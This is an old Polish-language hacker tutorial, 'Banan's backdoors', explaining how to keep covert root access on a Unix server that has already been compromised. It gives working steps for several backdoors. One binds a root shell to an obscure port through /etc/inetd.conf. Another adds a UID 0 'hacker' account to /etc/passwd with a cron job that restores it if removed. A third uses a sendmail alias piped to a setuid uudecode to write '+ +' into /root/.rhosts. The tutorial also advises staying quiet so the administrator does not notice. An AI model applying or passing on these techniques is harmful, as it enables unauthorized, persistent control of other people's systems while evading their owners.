------------------------------------------------------------------------------ XX Banan's backdoors :) 1 Co to sa tylne drzwi : BANAN 2 Instalacja tylnych drzwi : BANAN 3 Tylne drzwi w sendmailach : BANAN 4 Jak zachowac tylne drzwi : BANAN ------------------------------------------------------------------------------ Ech, poprawione by lcamtuf ale nie mam za duzo czasu :) 1. Co to sa tylne drzwi : BANAN Tylne drzwi czy tez tylne wejscie, jest to sposob w jaki mozna dostac sie do systemu bez koniecznosci logowania sie lub z ominieciem zabezpieczen. Mozna to zrobic instalujac sobie "specjalny" port w telnecie. Sprobuje pokazac pare spsobow jak to zrobic i jak zatrzymac te "drzwi" gdy admin sie pokapuje co jest grane :) Co potrzebujesz: Przede wszystkim potrzebujesz roota na na serwerze w ktorym chcesz zrobic backdoors. Poza tym potrzeba troche szczescia i pomyslowosci :) Jak to sie robi: Na poczatek trzeba przyjrzec sie interesujacym nas plikom odpowiadajacym za konfiguracje inetu. A oto czego masz szukac: /etc/services Ten plik pozwoli ci znalezc port, na ktorym postawisz backdoors lub dopisac swoj wlasny. /etc/inetd.conf To jest plik w ktorym musisz zainstalowac obsluge swoich backdoors. W pliku /etc/services znajdziesz cos takiego: tcpmux 1/tcp #TCP Port Service Multiplexer tcpmux 1/udp #TCP Port Service Multiplexer compressnet 2/tcp #Management Utility compressnet 2/udp #Management Utility compressnet 3/tcp #Compression Process compressnet 3/udp #Compression Process Pewnie myslisz co to kurwa jest, i po co mi to, postaram sie to wyjasnic na tym przykladzie: ftp 21/tcp #File Transfer [Control] ftp 21/udp #File Transfer [Control] Pierwsza kolumna oznacza nazwe serwisu w systemie (tylko w celu pomocniczym, tutaj akurat ftp). Druga to numer portu, na ktorym "stoi" dana usluga (wiec gdy wpiszemy "telnet localhost ftp" to zostaniemy polaczeni z portem 21). Zaraz po porcie znajduje sie nazwa protokolu, z reguly interesuje nas tcp. Ostatnia kolumna to komentarz, najczesciej opis przeznaczenia. Na razie nie jest ci to potrzebne, ale pozniej sie przyda. Teraz looknij sobie do /etc/inetd.conf. Jest to plik configuracyjny dla demona inetd, ze zdefiniowana jednoznaczna relacja miedzy polaczeniem z z jakims portem i demonem, ktory ma byc uruchomiony. A wyglada on sobie w ten sposob: ftp stream tcp nowait root /usr/libexec/tcpd ftpd -l -A telnet stream tcp nowait root /usr/libexec/tcpd telnetd shell stream tcp nowait root /usr/libexec/tcpd rshd login stream tcp nowait root /usr/libexec/tcpd rlogind -a exec stream tcp nowait root /usr/libexec/tcpd rexecd Wyjasnienie tych bzdetow: Pierwsza kolumna to nazwa demona lub po prostu numer portu. Jesli wpiszesz nazwe - zostanie ona przelozona na numerek na podstawie omowionego wyzej pliku services. Na tym porcie demon bedzie oczekiwal polaczen. Druga kolumna to rodzaj polaczenia, z reguly stream (strumien). Pozniej znowu idzie protokol, my akurat interesujemy sie tylko ftp. Nastepna kolumna dotyczy oczekiwania, z reguly jest to "nowait". Nastepnie podany jest uzytkownik, z ktorego uprawnieniami zostanie odpalony demon. Najkorzystniej dla nas ustawic "root", ale np. httpd (demon www) chodzi jako "nobody". Pozniej z kolei znajduje sie program, ktory obsluzy polaczenie, czyli prawie zawsze tcpd (moze sie tez znajdowac w katalogu /usr/sbin/tcpd, zalezy od systemu). Na koncu znajduje sie program lub demon, ktory zostanie odpalony w momencie polaczenia na port i zajmie sie obsluga uzytkownika. 2. Instalacja tylnych drzwi : BANAN BACKDOORS 1: Dobra, cofnij sie do pliku /etc/services. Popatrz na niego i wybierz jeden z serwisow ktory sadzisz ze admin nie sprawdzi, zapamietaj go sobie. Teraz skocz do pliku /etc/inetd.conf Dopisz w nim to co zapamietales z /etc/services. Powiedzmy ze zapamietales serwis ftp (to oczywiscie tylko przyklad, wybierz cos bardzo egzotycznego). Teraz dodaj do inetd.conf taka linijke: "ftp stream tcp nowait root /bin/sh sh -i". Gdy to zrobisz - sprawdz, czy juz wczesniej nie ma linijki dotyczacej ftp, a jesli jest to ja skasuj. Po tym zabiegu pora zrestartowac calego demona inetd, zeby uaktualnic jego ustawienia. Wpisz "killall -HUP inetd". Teraz przetestujmy co zrobiles (roznie to wyglada, zaleznie od systemu): telnet pechowy.host.com ftp Trying 123.456.78.9... Connected to comp.com Escape character is '^]'. bash# bash# whoami root bash# Acha, nie korzystaj z portu 21 (ftp) tylko z jakiegos innego, zupelnie egzotycznego portu z konca pliku services. Jesli chcesz mozesz tez dodac tam wlasny wpis w stylu "kfcd 3142/tcp" i go wlasnie uzywac. BACKDOORS 2: Konie trojanskie cron sa dobre gdy admin polapal sie z "dzwiami" a chcesz dalej utrzymac roota. Cron jest czasowym demonem, ktory uruchamia inne programy w zadanych odstepach czasu. Wpisz w shellu crontab, dowiesz sie jak tego uzywac, a pozniej idz do /var/spool/cron/crontabs/root. A oto jak wyglada przykladowy wpis: 0 0 * * 1 /usr/bin/updatedb Pierwsza kolumna oznacza minuty (0-59), druga godziny (0-23), trzecia dni miesiaca (1-31), kolejna - miesiace roku (1-12), pozniej dni tygodnia (0-6) i na koncu komenda do wykonania. Przyklad powyzej jest ustawiony na poniedzialek. Jesli chcesz aby co jakis czas sprawdzac, czy root przypadkiem nie usunal twojego konta - dodaj odpowiedni wpis do /var/spool/crontab/root. Powiedzmy, ze dodales sobie konto z UID=0 (rootowe). Cron moze je stale monitorowac, a gdy root je wywali - po pewnym czasie zostanie odtworzone. Jak to zrobic? Powiedzmy ze dodales konto "hacker::0:0:hAAAcker:/:/bin/bash" do /etc/passwd. Twoj program musi sprawdzac, czy ten wpis tam dalej istnieje (moze to zrobic polecenie grep). A jesli cokolwiek sie zmieni - bedzie dodawal nowy wpis na koncu. Warto tez zabezpieczyc sie przed zmiana hasla. 3. Tylne drzwi w sendmailu : BANAN Musisz dodac do /etc/aliases ta linijke: decode: |/usr/bin/uudecode Pozniej wpisz "newaliases" (juz ze shella) i chmod +s /usr/bin/uudecode :) Plik uudecode bedzie sluzyl jako .rhosts (jesli ktos nie wie jaka jest dziura w pliku .rhosts to niech sie dowie:) odsylam tu np. do faqa P0WERA, mozna go znalezc mdzn. na http://polbox.com/p/p0wer). Oto jak skorzystac pozniej z tej dziury: echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail decode@serwer.com Oczywiscie to nie wszystko - mozna w ten sposob podmienic /etc/passwd... 4. Jak zachowac tylne drzwi : BANAN Jesli bedziesz uzywal tylnych drzwi spokojnie i nie szalal po serwerze tak aby admin sie nic nie pokapowal to bedziesz mogl miec tylne drzwi bardzo dlugo :)